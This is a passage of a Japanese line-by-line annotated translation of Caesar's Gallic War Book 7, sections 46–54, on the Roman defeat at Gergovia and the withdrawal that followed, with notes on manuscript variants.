**大きな石垣からなる6[[w:ペース (長さ)|ペース]]（＝約1.8m）もの、我が方（ローマ勢）の突進を遅らせる防壁を、
*praeduxerant Galli, 
**ガッリア人は引いて来ており、
*atque inferiore omni spatio vacuo relicto 
**（その石垣の防壁）より下方のすべての空間は人気なく残されていて、
*superiorem partem collis usque ad murum oppidi densissimis castris compleverant. 
**丘陵のより上方の部分を、城塞都市の城壁の方へ続けざまに、とても密集した（各部族ごとの）陣営で満たしていた。
*④　Milites dato signo celeriter ad munitionem perveniunt 
**（ローマ人の）兵士たちは号令を与えられて、速やかに（石垣の）防壁のところへ到達して、
*eamque transgressi trinis castris potiuntur; 
**それを越えて行って、3つの（部族ごとの）陣営を占拠した。
*⑤　ac tanta fuit in castris capiendis&lt;ref&gt;castris capiendis はα系写本の記述で、β系写本では capiendis castris となっている。&lt;/ref&gt; celeritas, 
**（3つの）陣営を奪取することにおいて、これほどにも迅速さがあったので、
*ut Teutomatus, rex Nitiobrogum, subito in tabernaculo oppressus, 
**その結果、[[w:ニティオブロゲス族|ニティオブロゲス族]]の王[[w:テウトマトゥス|テウトマトゥス]]は、[[w:テント|天幕]]において突然に襲われて、
*ut meridie conquieverat, superiore corporis parte nudata&lt;ref&gt;nudata はα系写本の記述で、β系写本では nuda となっている。&lt;/ref&gt; 
**昼寝をしていたが、上半身は裸のままで、
*vulnerato equo vix se ex manibus praedantium militum eriperet.
**傷付けられた馬によって、略奪している（ローマ人）兵士の手から、やっと自らを救い出した。

===47節===
'''血気にはやるローマ兵たちの猪突猛進、ガッリア女たちの命乞い'''
*①　Consecutus id quod animo proposuerat 
**心に決めていたことを達成したので、
*Caesar receptui cani iussit 
**カエサルは退却ラッパを吹くことを命じた。
*legionique decimae, quacum erat, contionatus signa constituit. 
**彼とともにいた[[w:第10軍団エクェストリス|第10軍団]]に呼びかけて、軍旗を停止した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第10軍団はガッリア戦争初期からの最古参の軍団。軍旗を停止するとは、進軍を止めること。）&lt;/span&gt;
*②　Ac&lt;ref&gt;ac はα系写本の記述で、β系写本では at となっている。&lt;/ref&gt; reliquarum legionum milites non exaudito&lt;ref&gt;exaudito はα系写本の記述で、β系写本では audito となっている。&lt;/ref&gt; sono tubae, 
**ほかの[[w:ローマ軍団|軍団]]の兵士たちは、ラッパの響きを聞き取れなかった。
*quod satis magna valles intercedebat, 
**というのは、十分に大きな峡谷が間にあったからである。
*tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque, ut erat a Caesare praeceptum, retinebantur; 
**しかしながら、&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちにより、カエサルから指図されていたように、制止されていた。
*③　Sed elati spe celeris victoriae et hostium fuga et superiorum temporum secundis proeliis 
**だが（兵士たちは）迅速な勝利の希望や、敵たちの逃亡や、それ以前のときの順調な戦闘により、高慢になっていて、
*nihil adeo arduum sibi esse existimaverunt&lt;ref&gt;esse existimaverunt はα系写本の記述で、β系写本では existimabant となっている。&lt;/ref&gt;, quod non virtute consequi possent, 
**自分たちにとって、武勇で達することができないほどの困難なものはまったく何もない、と考えており、
*neque finem prius sequendi fecerunt quam muro oppidi portisque adpropinquarunt. 
**（ゲルゴウィアの）城塞都市の城壁や城門に近付くまでは、追及を終結させなかった。
*④　Tum vero ex omnibus urbis partibus orto clamore, 
**すると、まさに（ゲルゴウィアの）町のあらゆる方面から叫び声が発せられて、
*qui longius aberant, repentino tumultu perterriti, 
**（城内の）遠い方に離れていた者たちは、予期せぬ騒ぎに脅えており、
*cum hostem intra portas esse existimarent, 
**敵（＝ローマ人）が城門の内側にいると考えたので、
*sese ex oppido eiecerunt. 
**城塞都市から急ぎ出た。
*⑤　Matres familiae de muro vestem argentumque iactabant 
**家庭の母親たちは、城壁から衣類や貨幣をたびたび投げやった。
*et pectore nudo prominentes passis manibus obtestabantur Romanos, 
**そして胸を裸にして（城壁の上に）進み出て、手を伸ばしてローマ人たちに哀願した。
*ut sibi parcerent 
**自分たちを容赦するように、
*neu, sicut Avarici fecissent, ne a mulieribus quidem atque infantibus abstinerent; 
**（ローマ人が）アウァーリクムでしたように女たちや子供たちでさえも赦免しないことのないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ローマ人がアウァーリクムでした行為については、[[#28節|28節]]④項を参照。）&lt;/span&gt;
*⑥　nonnullae de muris&lt;ref&gt;muris はα系写本の記述で、β系写本では mure となっている。&lt;/ref&gt; per manus demissae sese militibus tradebant. 
**少なからぬ者たちは、城壁から手で降ろされて、（ローマ人）兵士たちに身を任せた。

[[画像:Gergovie_mur_pano2.jpg|thumb|center|700px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。]]

*⑦　L.(Lucius) Fabius centurio legionis VIII(octavae), 
**[[w:第8軍団アウグスタ|第8軍団]]の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるルキウス・ファビウスは、
*quem inter suos eo die dixisse constabat 
**配下の者たちの間で、その日、（以下のように）言ったことが知られていた。
*excitari se Avaricensibus praemiis neque commissurum, ut prius quisquam murum ascenderet, 
**自分はアウァーリクムの恩賞に奮い立たせられて、何者かが（自分）より早く城壁を登るようなことは生じさせない、と。
*tres suos nactus manipulares 
**（ファビウスは）同じ隊の兵士である3人の配下と遭遇して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：manipulares は「[[w:マニプルス|歩兵中隊]]の」とも解されるが、ここでは「同じ隊の兵士」という意味であろう。）&lt;/span&gt;
*atque ab his sublevatus murum ascendit, 
**彼らによって持ち上げられて城壁を登った。
*hos&lt;ref&gt;hos はα系写本の記述で、π系写本では eos 、ρ系写本では eo となっている。&lt;/ref&gt; ipse rursus singulos exceptans in murum extulit.
**彼らは（ファビウス）自身が再び1人ずつ引き出して、城壁に導き上げた。

===48節===
'''ガッリア勢が城塞都市に引き返して、防戦に努める'''
*①　Interim hi&lt;ref&gt;hi はα系･π系･R写本の記述で、U写本では ii となっている。&lt;/ref&gt; qui ad alteram partem oppidi, ut supra demonstravimus, munitionis causa convenerant, 
**その間に、前に述べたように、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の別の方面へ、防御のために集結していた（ガッリア勢の）者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#45節|45節]]⑥項で述べられている。）&lt;/span&gt;
*primo exaudito clamore, 
**初めに叫び声を聞き取り、
*inde etiam crebris nuntiis incitati oppidum ab Romanis teneri, 
**さらに、城塞都市がローマ人たちによって占領されたという頻繁な知らせにさえも駆り立てられて、
*praemissis equitibus magno concursu&lt;ref&gt;concursu はα系写本の記述で、β系写本では cursu となっている。&lt;/ref&gt; eo contenderunt. 
**[[w:騎兵|騎兵]]たちを先遣して、（歩兵たちも）駆けに駆けて、そこ（＝城塞都市）へ急いだ。

[[画像:Auvergne_Gaul_coin_CdM.jpg|thumb|right|300px|[[w:アルウェルニ族|アルウェルニー族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）]]
*②　Eorum ut quisque primus venerat, 
**彼らの（城塞都市に）到着した者から順々に
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quisque primus「最初の者ごとに；順々に」）&lt;/span&gt;
*sub muro consistebat suorumque pugnantium numerum augebat. 
**城壁の下に陣取って、味方の戦う者たちの数を増した。
*③　Quorum cum magna multitudo convenisset, 
**その者たちの大群集が集結したときに、
*matres familiae quae paulo ante Romanis de muro manus tendebant, 
**少し前にはローマ人たちに城壁から手を差し出していた家庭の母親たちが
*suos obtestari 
**味方に哀願して、
*et more Gallico passum capillum ostentare liberosque in conspectum proferre coeperunt. 
**ガッリアの風習により、髪を広げて示し、子供たちを（男たちの）眼前に運び始めた。
*④　Erat Romanis nec loco nec numero aequa contentio; 
**ローマ人たちにとっては、地の利でも（兵の）数でも、対等な闘いはなかった。
*simul et cursu et spatio pugnae defatigati 
**と同時に、戦いの疾走や時間（の長さ）に疲弊させられていて、
*non facile recentes atque integros sustinebant.
**（ガッリア勢の）新来かつ無傷の者たちに、容易に持ちこたえられなかった。

===49節===
'''カエサルが劣勢の自軍に副官セクスティウスを増援する'''
*①　Caesar cum iniquo loco pugnari hostiumque augeri copias videret, 
**カエサルは（戦闘が自軍に）不利な場所で戦われていること、かつ敵方の軍勢が増やされていることを見たので、
*praemetuens suis 
**配下の者たちを気遣って、
*ad T.(Titum) Sextium legatum, quem minoribus castris praesidio reliquerat, misit, 
**小さい方の陣営に守備として残しておいた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスのところへ（伝令を）遣わして、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セクスティウスについては、すでに副官として[[ガリア戦記 第6巻#1節|第6巻1節]]で言及されている。）&lt;/span&gt;
*ut cohortes ex castris celeriter educeret 
**陣営から（いくつかの）&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を速やかに進発させるように、
*et sub infimo colle ab dextro latere hostium constitueret, 
**かつ丘陵のふもとの下方で、敵方の右の側面に布陣するように、と。
*②　ut, si nostros loco depulsos vidisset, quominus libere hostes insequerentur terreret. 
**もし我が方が（戦闘の）場所から追いやられたのを見たら、敵方が自由に追撃することにならぬよう脅かすためである。
*③　Ipse paulum ex eo loco cum legione progressus, ubi constiterat, 
**（カエサル）自身は、停止していた場所から、軍団とともに少し前進して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#47節|47節]]①項で既述のように、カエサルとともに停止していたのは[[w:第10軍団エクェストリス|第10軍団]]である。）&lt;/span&gt;
*eventum pugnae exspectabat.
**戦いの決着を待っていた。

===50節===
'''激戦の末、敗勢に陥るローマ軍'''
*①　Cum acerrime comminus pugnaretur, hostes loco et numero, nostri virtute confiderent, 
**（両軍により）激烈に格闘して戦われていて、敵方は地の利と（兵の）数を、我が方（ローマ軍）が武勇を頼りとしていたときに、
*subito sunt Haedui visi ab latere nostris aperto, 
**突如として、我が方にとって開けた側面（＝右側）から、[[w:ハエドゥイ族|ハエドゥイー族]]の者たち（の姿）が見られた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「開けた側面から」ab latere aperto とは、兵士の[[w:スクトゥム|長盾]]で覆われていない右側を指す。）&lt;/span&gt;
*quos Caesar ab dextra parte alio ascensu manus distinendae causa miserat. 
**カエサルがその者たちを右の方面から別の登り道により（敵の）部隊を分散しておくために派遣していたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この事は、[[#45節|45節]]⑩項で述べられている。）&lt;/span&gt;
*②　Hi similitudine armorum vehementer nostros perterruerunt, 
**彼らの武具が（ガッリア勢のものと）似ていることが、我が方（の兵士たち）を極度に怖れさせた。
*ac tametsi dextris humeris&lt;ref&gt;humeris が写本(ω)の記述であるが、umeris とするのも一般的となっている。&lt;/ref&gt; exsertis animadvertebantur, quod insigne pactum&lt;ref&gt;pactum はHellerによる修正提案で、写本(ω)では pacatum となっており、研究者たちにより他の修正も提案されている。&lt;/ref&gt; esse consuerat, 
**（ハエドゥイー勢は）右の肩を脱いでいるのが視認され、その印は（味方として）定められているのが常であったが、
*tamen id ipsum sui fallendi causa milites ab hostibus factum existimabant. 
**けれども（ローマ人の）兵士たちは、それ自体が自分たちを欺くために、敵方によりなされたと考えたのだ。

[[画像:Dorf_La_Roche_Blanche.JPG|thumb|right|300px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。]]

*③　Eodem tempore L.(Lucius) Fabius centurio quique una murum ascenderant, 
**同じ時に、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・ファビウスおよび一緒に城壁を登っていた者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスらについては、[[#47節|47節]]⑦項で述べられている。）&lt;/span&gt;
*circumventi atque interfecti de&lt;ref&gt;de はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; muro praecipitabantur. 
**（ガッリア勢に）取り囲まれ、殺害されて、城壁から突き落とされた。
*④　M.(Marcus) Petronius, eiusdem legionis centurio, 
**同じ[[w:ローマ軍団|軍団]]の百人隊長マルクス・ペトロニウスは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスと同じ軍団とは、[[#47節|47節]]⑦項で述べられているように[[w:第8軍団アウグスタ|第8軍団]]である。）&lt;/span&gt;
*cum portas&lt;ref&gt;portas は写本(ω)の記述だが、portam と単数形にする修正も提案されている。&lt;/ref&gt; excidere conatus esset, 
**城門を突き破って出ることを試みていたときに、
*a multitudine oppressus ac sibi desperans multis iam vulneribus acceptis, 
**（敵の）大勢によって圧倒されて、すでに多くの傷を受けて自分に絶望しており、
*manipularibus suis, qui illum secuti erant&lt;ref&gt;secuti erant はα系写本の記述で、β系写本では erant secuti となっている。&lt;/ref&gt;, 
**彼に付き従っていた同じ隊の配下の者たちに、
*&quot;quoniam&quot; inquit &quot;me una vobiscum servare non possum, 
**曰く「私と諸君を一緒に救うことはできないのだから、
*vestrae quidem certe vitae prospiciam, quos cupiditate gloriae adductus in periculum deduxi. 
**せめて、栄誉の欲に引き寄せられて危険に引きずり込んでしまった諸君の生命にはきっと見通しを与えるであろう。
*⑤　Vos data facultate vobis consulite.&quot; 
**諸君は（生き延びる）可能性が与えられているから、諸君（自身）を助けたまえ。」
*Simul in medios hostes inrupit duobusque interfectis reliquos a porta paulum submovit. 
**と同時に、敵方の真ん中に押し入って、2名を殺害して、ほかの者たちを城門からいくらか退けた。
*⑥　Conantibus auxiliari suis 
**（ペトロニウスは自分の）支援を試みる配下の者たちに、
*&quot;frustra&quot; inquit &quot;meae vitae subvenire conamini, quem iam sanguis viresque deficiunt. 
**曰く「もはや血も活力も尽き果てた私の生命を助けることを試みているのは無益だ。
*Proinde abite, dum est facultas, vosque ad legionem recipite.&quot; 
**ゆえに（生き延びる）可能性がある間に立ち去れ。諸君は軍団のところへ退却せよ。」
*Ita pugnans post paulum&lt;ref&gt;paulum はα系･ρ系写本の記述で、π系写本では paululum となっており、paulo という修正提案もされている。&lt;/ref&gt; concidit ac suis saluti fuit.
**こうして（ペトロニウスは）戦って少し後で斃れ、配下の者たちにとっては救いとなった。

===51節===
[[画像:Monument_gergovie_fr.jpg|thumb|right|290px|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。]]
[[画像:Plaque_Napoléon_III_Gergovie.jpg|thumb|right|300px|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城塞都市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;]]
'''カエサルが一敗地に塗れる'''
*①　Nostri cum undique premerentur, 
**我が方（ローマ軍）は、至る所で圧倒されたので、
*XLVI(sex et quadraginta)&lt;ref&gt;XLVI はα系写本の記述で、β系写本では sex et XL となっている（どちらも46）。&lt;/ref&gt; centurionibus amissis deiecti sunt loco. 
**46名の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を失い、（激戦の）場所から追いやられた。
*Sed intolerantius Gallos insequentes 
**けれども、容赦なく追撃して来るガッリア人たちを
*legio decima tardavit, quae pro subsidio paulo aequiore loco constiterat. 
**予備部隊（もしくは要撃部隊）として、いくらか平らな所に陣取っていた[[w:第10軍団エクェストリス|第10軍団]]が妨げた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#47節|47節]]①項で既述のように、第10軍団はカエサルとともに待機していた。）&lt;/span&gt;
*②　Hanc rursus XIII(tertiae decimae) legionis cohortes exceperunt, 
**これ（＝第10軍団）をさらに、第13軍団の諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が支えた。
*quae ex castris minoribus eductae cum T.(Tito) Sextio legato ceperant locum&lt;ref&gt;ceperant locum はα系写本の記述で、β系写本では locum ceperant となっている。&lt;/ref&gt; superiorem. 
**それらは&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスとともに小さい方の陣営から進発してより高い所を占めていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#49節|49節]]を参照。）&lt;/span&gt;
*③　Legiones ubi primum planitiem attigerunt, 
**諸[[w:ローマ軍団|軍団]]は、平野に達するや否や、
*infestis contra hostes signis constiterunt. 
**敵方に抗して戦備を整えて陣取った。
*④　[[w:la:Vercingetorix|Vercingetorix]] ab radicibus collis suos intra munitiones reduxit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、配下の者たちを丘陵の麓から（ゲルゴウィアの）防備の内側に連れ戻した。
*Eo die milites sunt paulo minus [[wikt:la:Septingenti|septingenti]] desiderati.
**その日、（ローマ軍は）700名よりいくらか少ない兵士を失った。
&lt;br&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルとウェルキンゲトリークスは、たびたび交えた騎兵戦ではカエサルが勝っているが、&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;両軍の主力部隊である歩兵どうしが激突したこの戦闘は、地の利もあって、ウェルキンゲトリークスが完勝した。&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;カエサルは第8軍団など古参の部隊を投入しながら、歴戦の百人隊長と兵士たちを多く失った。）&lt;/span&gt;

===52節===
'''敗軍の将カエサルが兵士たちを責める'''
*①　Postero die Caesar contione advocata 
**翌日にカエサルは（兵士たちの）集会を召集して、
*temeritatem cupiditatemque militum&lt;ref&gt;cupiditatemque militum はα系写本の記述で、β系写本では militum cupiditatemque となっている。&lt;/ref&gt; reprehendit, 
**兵士たちの無思慮や功名心をとがめた。
*quod sibi ipsi iudicavissent, quo procedendum aut quid agendum videretur, 
**というのは、どこへ進み出るべきか、あるいは何がなされるべきと思われるのか、自分たちに対し自分たちで判断してしまったからだ。
*neque signo recipiendi dato constitissent 
**退却することの合図を与えられても留まりもせず、
*neque ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque retineri potuissent. 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]たち&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により制止されることもできなかったからだ。
*②　Exposuit quid iniquitas loci posset, quod&lt;ref&gt;quod は写本(ω)では quid となっているが、近世以降の校訂者たちは quod と修正提案している。&lt;/ref&gt; ipse ad [[w:la:Avaricum Biturigum|Avaricum]] sensisset, 
**地の利のなさがどれほど影響するのか、（カエサル）自身がアウァーリクムで判断したことを説明した。
*cum sine duce et sine equitatu deprehensis hostibus 
**将帥もなく騎兵隊もない敵たちを探し当てたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#18節|18節]]～[[#19節|19節]]を参照。そのときガッリア勢は、ウェルキンゲトリークスが騎兵隊を連れて出て不在であった。）&lt;/span&gt;
*exploratam victoriam dimisisset, 
**確実であった勝利を諦めたのだ。
*ne parvum modo detrimentum in contentione propter iniquitatem loci accideret. 
**地の利のなさのために、闘いにおいてほんのわずかな損害も生じないように（勝利を諦めたのだ）。
*③　Quanto opere&lt;ref&gt;Quanto opere はα系写本の記述で、β系写本では Quantopere となっている。&lt;/ref&gt; eorum animi magnitudinem admiraretur, 
**彼ら（兵士たち）の大胆さに（カエサルが）驚嘆すればするほど、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quanto opere ～ tanto opere …／quantopere ～ tantopere …「～すればするほど、ますます…」）&lt;/span&gt;
*quos non castrorum munitiones, non altitudo montis, non murus oppidi tardare potuisset, 
**彼らのことを（ガッリア勢の）陣営の防備も、山の高さも、[[w:オッピドゥム|城塞都市]]の城壁も妨げることができなかったのではあるが、
*tanto opere&lt;ref&gt;tanto opere はα系･T･ρ系写本の記述で、V写本では tantopere となっている。&lt;/ref&gt; licentiam arrogantiamque reprehendere, 
**それだけにますます（兵士たちの）勝手気ままさや高慢さを（カエサルは）非難する（と言った）。
*quod plus se quam imperatorem de victoria atque exitu rerum sentire existimarent; 
**というのは、自分たちが将軍（カエサル）よりも勝利と事の結末についてよく判断していると考えていたからだ。
*④　nec&lt;ref&gt;nec はα系写本の記述で、β系写本では non となっている。&lt;/ref&gt; minus se ab&lt;ref&gt;ab はα系写本の記述で、β系写本では in となっている。&lt;/ref&gt; milite modestiam et continentiam quam virtutem atque animi magnitudinem desiderare.
**自分（カエサル）は兵士たちに、武勇や大胆さよりも、慎重さや自制心を望んでいるのだ。

*:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは兵士たちを上のように責めたが、兵士たちを統制できなかった責任は最高司令官にある。）&lt;/span&gt;

===53節===
'''カエサルとローマ軍がゲルゴウィアから撤退'''
*①　Hac habita contione et ad extremam orationem confirmatis militibus, 
**（カエサルは）このような熱弁を振るって、演説の最後に、兵士たちを元気付けた。
*ne ob hanc causam animo permoverentur 
**このような理由のために心をかき乱されないように、
*neu, quod iniquitas loci attulisset, id virtuti hostium tribuerent, 
**かつ、地の利のなさが引き起こしたことを、敵方の武勇に転嫁しないように、と。
*eadem de profectione cogitans, quae ante senserat, 
**（ゲルゴウィアからの）出発については、以前から判断していたのと同じことを考えていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#43節|43節]]⑤項を参照。ゲルゴウィアからの撤退が敗走同然に見られないようにと、考えていたのであろう。）&lt;/span&gt;
*legiones ex castris eduxit aciemque idoneo loco constituit. 
**諸[[w:ローマ軍団|軍団]]を陣営から進発させて、適切な場所に戦列を整えた。
*②　Cum [[w:la:Vercingetorix|Vercingetorix]] nihilo minus &amp;lt; intra munitiones remaneret neque &amp;gt; in aequum locum descenderet, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が、防備の内側に留まったばかりか、平らな場所に降りてこなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&amp;lt; intra munitiones remaneret neque &amp;gt; は、写本になく、近代に挿入提案された修正案の一つ。）&lt;/span&gt;
*levi facto equestri proelio, atque secundo, in castra exercitum reduxit. 
**軽微な騎兵戦を行なって、順調のうちに軍隊を陣営に連れ戻した。
*③　Cum hoc idem postero die fecisset, 
**翌日もこれと同じことを行なって、
*satis ad Gallicam ostentationem minuendam militumque animos confirmandos factum existimans 
**ガッリア人の誇示を弱めること、および（ローマ人）兵士の心を強固にすることが十分になされたと考えたので、
*in [[w:la:Haedui|Haeduos]] movit castra. 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところに陣営を移（すために出発）した。
*④　Ne tum quidem insecutis hostibus 
**そのとき、敵方は決して追撃して来なかったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*tertio die ad flumen [[w:la:Elaver|Elaver]] pontes&lt;ref&gt;pontes はα系写本の記述で、β系写本では pontem となっている。&lt;/ref&gt; reficit&lt;ref&gt;reficit はχ系･B･M･L･N写本の記述で、S写本では refecit となっている。&lt;/ref&gt; eoque exercitum&lt;ref&gt;eoque exercitum はα系写本の記述で、β系写本では exercitumque となっている。&lt;/ref&gt; traducit&lt;ref&gt;traducit はα系写本の記述で、β系写本では traduxit となっている。&lt;/ref&gt;.
**3日目にはエラウェル川（＝現在の[[w:アリエ川|アリエ川]]）のところで橋を再建して、そこで軍隊を渡らせた。

===54節===
'''ハエドゥイー族のエポレドリクスとウィリドマルスらがカエサルのもとから立ち去る'''
*①　Ibi a Viridomaro atque [[w:la:Eporedorix|Eporedorige]] [[w:la:Haedui|Haeduis]] appellatus discit 
**そこで（カエサルが）[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:ウィリドマルス|ウィリドマルス]]と[[w:エポレドリクス|エポレドリクス]]から話しかけられて知ったことには、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#39節|39節]]～[[#40節|40節]]を参照。ウィリドマルスとエポレドリクスはカエサルの軍勢に従軍していたと思われる。）&lt;/span&gt;
*cum omni equitatu Litaviccum ad sollicitandos Haeduos profectum; 
**[[w:リタウィックス|リタウィックス]]がすべての騎兵隊とともに、ハエドゥイー族の者たちをそそのかすために出発したという。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#40節|40節]]を参照。リタウィックスは謀計が破れたので、ゲルゴウィアに逃れていた。）&lt;/span&gt;
*opus esse ipsos antecedere ad confirmandam civitatem. 
**部族の支持を固めるために、（彼ら）自身が（リタウィックスより）先行することが必須であるというのだ。
*②　Etsi multis iam rebus perfidiam Haeduorum&lt;ref&gt;perfidiam Haeduorum はα系写本の記述で、β系写本では Haeduorum perfidiam となっている。&lt;/ref&gt; Caesar&lt;ref&gt;Caesar はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; perspectam habebat 
**カエサルは、すでに多くの事により、ハエドゥイー族の背信行為を目にして来ており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Etsi ～, tamen …「～としても、しかしながら…」）&lt;/span&gt;
*atque horum discessu admaturari defectionem civitatis existimabat, 
**この者たちが（カエサルのもとから）立ち去ることで、（ハエドゥイー）部族の背反が一層促進されると考えていたのだが、
*tamen eos retinendos non censuit&lt;ref&gt;censuit はπ系写本の記述で、α系･ρ系写本では constituit となっている。&lt;/ref&gt;, 
**しかしながら、彼ら（2人）を束縛するべきではないと考慮した。
*ne aut inferre iniuriam videretur aut dare&lt;ref&gt;dare はα系写本の記述で、β系写本では daret となっている。&lt;/ref&gt; timoris aliquam&lt;ref&gt;timoris aliquam はα系写本の記述で、β系写本では aliquam timoris となっている。&lt;/ref&gt; suspicionem. 
